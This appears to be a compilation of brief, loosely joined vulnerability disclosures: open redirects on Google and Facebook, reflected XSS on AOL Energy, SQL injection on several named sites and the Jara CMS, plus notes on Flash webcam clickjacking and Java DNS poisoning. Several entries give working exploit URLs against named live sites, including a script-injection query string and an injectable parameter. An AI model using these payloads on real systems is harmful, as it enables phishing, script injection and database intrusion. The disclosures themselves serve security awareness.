Vulnerability is reported in Google by "Ucha Gobejishvili ( longrifle0x )". This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers.
Url: https://accounts.google.com/o/oauth2/auth?redirect_uri=http://www.something.com

Same vulnerability in Facebook, Discovered by ZeRtOx from Devitel group:
http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&u=www.something.com

Infections are shows on .com, .de, & .uk as the most affected regions.
If you want to find out if you have a problem just google for



by
Kumar

A non-persistent Cross Site Scripting (XSS) vulnerability discovered on AOL Energy website.

xploit url:

http://energy.aol.com/search/?q=%22%3E%3Cscript%3Ealert(%22XSS+by+Vansh+%26+Vaibhuv%22)%3C%2Fscript%3E

by
Vansh & Vaibhuv

Main
http://www.maxdome.com/
Type: SQL Injection

Comment
Path: /php-bin/functions/home_flash/
File: homeflash.swf
Para: ?id=

by
Vulnerability-Lab

Main
http://www.tagu.com.ar
Type: SQL Injection
Exploitable
http://www.tagu.com.ar/ver-post.php?p_id=4271'
Comment
Allow SQL Injection in "p_id" var.

download
http://sourceforge.net/projects/jara/files/v1.6/jarav16.zip

exploit
http://localhost/jara/view.php?id=[SQL Injection]


by
muuratsalo

A slight variation of a previously designed clickjacking attack that used a Adobe Flash vulnerability has once again made it possible for website administrators to surreptitiously spy on their visitors by turning on the user's computer webcam and microphone.



by
Aboukhadijeh

A vulnerability in Java (CVE-2011-3552, CVE-2010-4448) which enables remote DNS poisoning using Java applets. This vulnerability can be triggered when opening a malicious webpage. A successful exploitation of this vulnerability may lead to disclosure and manipulation of cookies and web pages, disclosure of NTLM credentials and clipboard data of the logged-on user, and even firewall bypass.

Download PDF
http://blog.watchfire.com/files/dnsp_port_exhaustion.pdf

Google up inurl:wp-content/1/ [Warning: just google it up, don't visit any of the site in the search results. They are full of activeX viruses!].

What you see is a list of sites that were hacked through the latest WordPress Vulnerability that allows to insert spam into your blog.

Source

http://smackdown.blogsblogsblogs.com/2008/03/23/new-wordpress-233-exploitvulnerability-adds-spam-directory-wp-content1/

Download PDDF
http://dl.packetstormsecurity.net/papers/general/busting-windows.pdf